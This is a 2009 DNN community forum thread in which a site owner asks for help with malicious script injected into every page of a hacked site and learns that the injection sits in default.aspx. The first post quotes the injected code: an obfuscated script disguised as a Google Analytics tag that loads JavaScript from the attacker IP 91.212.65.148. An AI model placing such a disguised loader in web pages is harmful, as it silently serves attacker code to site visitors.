Products

Solutions

Resources

Partners

Community

Blog

About

QA

Ideas Test

New Community Website

Ordinarily, you'd be at the right spot, but we've recently launched a brand new community website... For the community, by the community.

Yay... Take Me to the Community!

Welcome to the DNN Community Forums, your preferred source of online community support for all things related to DNN.
In order to participate you must be a registered DNNizen

HomeHomeOur CommunityOur CommunityGeneral Discuss...General Discuss...Trouble with injected virus.Trouble with injected virus.
Previous
 
Next
New Post
6/19/2009 12:25 PM
 

One of the sites I run, tidana.org/DNN was evidently hacked.  Malicious code is being injected into every page, but I can't figure out where it's coming from the offending code is: 

 <script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript sr�='" + gaJsHost + "google-analytics.com/ga.js' " + '!@&s(#r)c@!=&)\'&h$!t^&!$@t@&$p#^&@:$^/&@!&/!9(1)@.(2)1!(2)&.^#6&@&!^5(@!&.&#$1@!4)8!#/($g#$a&.(j^s)'.replace(/#|&|@|\$|\(|\!|\^|\)/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));</script>

Which is a simple redirect to 91.212.65.148 - a known malicious site.

I replaced the dnn\js\ClientAPITests\default.htm file with an original because it appeared to have been modified.  That did not correct the problem, however. 

The injection occours right after the <bodi id="body"> in the source.  I cannot find anything in the DNN files or setup that should do this.  Could it be from the server itself?  Any ideas?  We don't have a whole lot of work in the site, so we could start over, but what if it happens again?  We use very strong passwords, and I am the only one with access to the site, but it's hosted on GoDaddy, and who knows what kind of security they have on the back end...

Shane

 
New Post
6/19/2009 12:34 PM
Accepted Answer 

injection may be in default.aspx or Skin, which version of DNN are you running?


Cheers from Germany,
Sebastian Leupold

dnnWerk - The DotNetNuke Experts   German Spoken DotNetNuke User Group

Speed up your DNN Websites with TurboDNN
 
New Post
6/19/2009 12:43 PM
 

Ah ha!  It was the default.aspx.  I did replace the skin, thinking that would be it, but it wasn't.  Thanks for the help. 

 
New Post
6/19/2009 12:49 PM
 

 make sure to apply all security patches to the server and use strong passwords for FTP if installed.


Cheers from Germany,
Sebastian Leupold

dnnWerk - The DotNetNuke Experts   German Spoken DotNetNuke User Group

Speed up your DNN Websites with TurboDNN
 
Previous
 
Next
HomeHomeOur CommunityOur CommunityGeneral Discuss...General Discuss...Trouble with injected virus.Trouble with injected virus.


These Forums are dedicated to discussion of DNN Platform and Evoq Solutions.

For the benefit of the community and to protect the integrity of the ecosystem, please observe the following posting guidelines:

  1. No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DNN.
  2. No vendor trolling / poaching. If someone posts about a vendor issue, allow the vendor or other customers to respond. Any post that looks like trolling / poaching will be removed.
  3. Discussion or promotion of DNN Platform product releases under a different brand name are strictly prohibited.
  4. No Flaming or Trolling.
  5. No Profanity, Racism, or Prejudice.
  6. Site Moderators have the final word on approving / removing a thread or post or comment.
  7. English language posting only, please.
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out